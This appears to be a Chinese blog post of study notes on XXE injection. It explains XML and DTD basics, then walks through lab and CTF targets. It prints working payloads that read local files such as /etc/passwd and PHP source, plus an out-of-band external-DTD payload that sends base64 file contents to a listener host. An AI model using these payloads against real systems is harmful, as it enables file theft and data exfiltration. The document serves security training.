XXE漏洞

 

 

二、基础概念

1、xml基础概念

XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。XXE漏洞全称XMLExternal Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。

2、XML与HTML的主要差异

XML被设计为传输和存储数据,其焦点是数据的内容。

HTML被设计用来显示数据,其焦点是数据的外观。

HTML旨在显示信息,而XML旨在传输信息。

 

<!--文档类型定义-->
<!DOCTYPE note [ <!--定义此文档时note类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义to元素为"#PCDATA"类型-->
<!ELEMENT from (#PCDATA)> <!--定义from元素为"#PCDATA"类型-->
<!ELEMENT head (#PCDATA)> <!--定义head元素为"#PCDATA"类型-->
<!ELEMENT body (#PCDATA)> <!--定义body元素为"#PCDATA"类型-->
]]]>
 
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>
 

三、演示案例

1、pikachu靶场XML

-回显,玩法,协议,引入

 

 

 

  • 无回显-读取文件

<?xml version = "1.0"?>
<!DOCTYPE test [
        <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=d:/test.txt">
        <!ENTITY % dtd SYSTEM "http://192.168.xx.xxx:80XX/test.dtd">
        %dtd;
        %send;
]>


test.dtd:
<!ENTITY % payload
    "<!ENTITY &#x25; send SYSTEM
'http://192.168.xx.xxx:80xx/?data=%file;'>"
>
%payload;

上面的url一般是自己的网站,通过第一步访问文件,然后再访问dtd文件,把读取到的数据赋给data,然后我们只需要再自己的网站日志,或者写个php脚本保存下来,就能看到读取到的文件数据了。

 

 

#无回显-读取文件
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=test.txt">
<!ENTITY % dtd SYSTEM "http://192.168.0.103:8081/test.dtd">
%dtd;
%send;
]>
 
test.dtd:
<!ENTITY % payload
"<!ENTITY &#x25; send SYSTEM 'http://192.168.0.103:8081/?data=%file;'>"
>
%payload;
 
#协议-读文件(绕过)
参考:https://www.cnblogs.com/20175211lyz/p/11413335.html
<?xml version = "1.0"?>
<!DOCTYPE ANY [ <!ENTITY f SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php"> ]>
<x>&f;</x>
 xxe-lab 靶场登陆框 xml 数据传输测试-检测发现
1.提交的数据包含 XML 格式如:
<forgot><username>admin</username></forgot>
2.请求头中如:
Content-Type:text/xml 或 Content-type:application/xml
 
<?xml version="1.0"?>

<!DOCTYPE Mikasa [
<!ENTITY test SYSTEM  "file:///d:/test.txt">
]>
<user><username>&test;</username><password>Mikasa</password></user>


CTF-Vulnhub-XXE 安全真题复现-检测,利用,拓展,实战
扫描 IP 及端口->扫描探针目录->抓包探针 xxe 安全->利用 xxe 读取源码->flag 指向文件->base32 64 解
密->php 运行->flag
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">
]>
<root><name>&sp;</name><password>hj</password></root>


CTF-Jarvis-OJ-Web-XXE 安全真题复现-数据请求格式

http://web.jarvisoj.com:9882/
更改请求数据格式:application/xml
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>

xxe 安全漏洞自动化注射脚本工具-XXEinjector(Ruby)
https://www.cnblogs.com/bmjoker/p/9614990.html
xxe_payload_fuzz

posted @ 2022-09-11 22:43  木易同学  阅读(23)  评论(0编辑  收藏  举报